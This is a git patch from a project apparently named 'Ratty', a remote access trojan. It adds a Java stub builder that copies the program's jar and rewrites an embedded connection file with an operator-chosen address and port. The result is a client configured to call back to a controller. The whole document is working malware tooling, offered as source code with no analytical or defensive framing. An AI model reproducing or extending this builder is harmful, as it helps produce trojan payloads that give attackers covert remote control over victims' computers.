From 5559688151faa14e7370f1c612abe56163b5d74b Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 5 Feb 2016 23:44:20 +0100 Subject: [PATCH] Major changes Added stub builder --- .../de/sogomn/rat/builder/StubBuilder.java | 114 ++++++++++++++++++ 1 file changed, 114 insertions(+) create mode 100644 Ratty/src/de/sogomn/rat/builder/StubBuilder.java diff --git a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java new file mode 100644 index 0000000..0b4dc57 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java @@ -0,0 +1,114 @@ +package de.sogomn.rat.builder; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.IOException; +import java.net.URI; +import java.net.URISyntaxException; +import java.nio.file.FileSystem; +import java.nio.file.FileSystems; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; + +import javax.swing.JFileChooser; +import javax.swing.JOptionPane; + +import com.alee.laf.WebLookAndFeel; + +import de.sogomn.engine.util.FileUtils; +import de.sogomn.rat.Ratty; + + +final class StubBuilder { + + private static final String ADDRESS_MESSAGE = "Address?"; + private static final String PORT_MESSAGE = "Port?"; + + private static final String FILE_NAME = "/connection_data.txt"; + + private StubBuilder() { + //... + } + + private static File getFileInput(final boolean open) { + final JFileChooser fileChooser = new JFileChooser(); + final File currentDirectory = new File(""); + + fileChooser.setCurrentDirectory(currentDirectory); + + final int input = open ? fileChooser.showOpenDialog(null) : fileChooser.showSaveDialog(null); + + if (input == JFileChooser.APPROVE_OPTION) { + final File file = fileChooser.getSelectedFile(); + + return file; + } + + return null; + } + + private static File copyJarFile() { + final File destination = getFileInput(false); + + if (destination == null) { + return null; + } + + try { + final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI(); + final File source = new File(sourceUri); + + FileUtils.copy(source, destination); + + return destination; + } catch (final URISyntaxException ex) { + ex.printStackTrace(); + + return null; + } + } + + private static void replaceFile(final File jarFile) { + final String address = JOptionPane.showInputDialog(ADDRESS_MESSAGE); + + if (address == null) { + return; + } + + final String port = JOptionPane.showInputDialog(PORT_MESSAGE); + + if (port == null) { + return; + } + + final String fileContent = address + "\r\n" + port + "\r\ntrue"; + final byte[] data = fileContent.getBytes(); + final ByteArrayInputStream in = new ByteArrayInputStream(data); + final Path jarFilePath = jarFile.toPath(); + + try { + final FileSystem jarFileSystem = FileSystems.newFileSystem(jarFilePath, null); + final Path fileToReplace = jarFileSystem.getPath(FILE_NAME); + + Files.copy(in, fileToReplace, StandardCopyOption.REPLACE_EXISTING); + + jarFileSystem.close(); + } catch (final IOException ex) { + ex.printStackTrace(); + } + } + + public static void main(final String[] args) { + WebLookAndFeel.install(); + + final File jarFile = copyJarFile(); + + if (jarFile == null) { + System.exit(0); + } + + replaceFile(jarFile); + } + +}